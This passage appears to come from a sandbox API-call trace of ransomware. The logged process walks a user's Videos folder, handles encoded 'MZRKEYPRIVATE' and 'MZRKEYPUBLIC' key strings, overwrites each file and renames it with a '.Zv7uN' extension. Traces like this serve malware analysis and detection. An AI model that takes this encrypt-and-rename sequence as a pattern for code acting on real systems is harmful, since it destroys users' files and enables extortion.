nFileSizeHigh=0x0, nFileSizeLow=0x139b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="-CggBS-I.swf", cAlternateFileName="")) returned 1 [0086.908] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0086.908] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\-CggBS-I.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\-cggbs-i.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x535db2d0, ftCreationTime.dwHighDateTime=0x1d5daab, ftLastAccessTime.dwLowDateTime=0xb709ae80, ftLastAccessTime.dwHighDateTime=0x1d5e643, ftLastWriteTime.dwLowDateTime=0xb709ae80, ftLastWriteTime.dwHighDateTime=0x1d5e643, nFileSizeHigh=0x0, nFileSizeLow=0x139b)) returned 1 [0086.909] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\-CggBS-I.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\-cggbs-i.swf")) returned 0x20 [0086.909] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\-CggBS-I.swf", dwFileAttributes=0x80) returned 1 [0086.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.915] GetCurrentThreadId () returned 0xa30 [0086.915] GetCurrentThreadId () returned 0xa30 [0086.915] GetCurrentThreadId () returned 0xa30 [0086.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.916] GetCurrentThreadId () returned 0xa30 [0086.916] GetCurrentThreadId () returned 0xa30 [0086.916] GetCurrentThreadId () returned 0xa30 [0086.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\-CggBS-I.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\-cggbs-i.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.917] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.917] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.917] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x139b [0086.917] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.917] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x139b, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x139b, lpOverlapped=0x0) returned 1 [0086.919] CloseHandle (hObject=0x11c) returned 1 [0086.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\-CggBS-I.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\-cggbs-i.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.927] WriteFile (in: hFile=0x11c, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x139b, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f6ac*=0x139b, lpOverlapped=0x0) returned 1 [0086.929] CloseHandle (hObject=0x11c) returned 1 [0086.930] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\-CggBS-I.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\-cggbs-i.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\-CggBS-I.swf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\-cggbs-i.swf.zv7un")) returned 1 [0086.931] GetCurrentThreadId () returned 0xa30 [0086.931] GetCurrentThreadId () returned 0xa30 [0086.931] GetCurrentThreadId () returned 0xa30 [0086.932] GetCurrentThreadId () returned 0xa30 [0086.932] GetCurrentThreadId () returned 0xa30 [0086.932] GetCurrentThreadId () returned 0xa30 [0086.932] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfef5d3c0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0xc4f777a0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0xc4f777a0, ftLastWriteTime.dwHighDateTime=0x1d5dd67, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6a2qkp", cAlternateFileName="")) returned 1 [0086.932] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d1b1c0, ftCreationTime.dwHighDateTime=0x1d5e44b, ftLastAccessTime.dwLowDateTime=0x55dffbd0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0x55dffbd0, ftLastWriteTime.dwHighDateTime=0x1d5dd67, nFileSizeHigh=0x0, nFileSizeLow=0xbb9a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="9RgJ1WGSQCpG4JXhxJ.flv", cAlternateFileName="9RGJ1W~1.FLV")) returned 1 [0086.932] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.932] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\9RgJ1WGSQCpG4JXhxJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\9rgj1wgsqcpg4jxhxj.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d1b1c0, ftCreationTime.dwHighDateTime=0x1d5e44b, ftLastAccessTime.dwLowDateTime=0x55dffbd0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0x55dffbd0, ftLastWriteTime.dwHighDateTime=0x1d5dd67, nFileSizeHigh=0x0, nFileSizeLow=0xbb9a)) returned 1 [0086.932] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\9RgJ1WGSQCpG4JXhxJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\9rgj1wgsqcpg4jxhxj.flv")) returned 0x20 [0086.932] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\9RgJ1WGSQCpG4JXhxJ.flv", dwFileAttributes=0x80) returned 1 [0086.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcK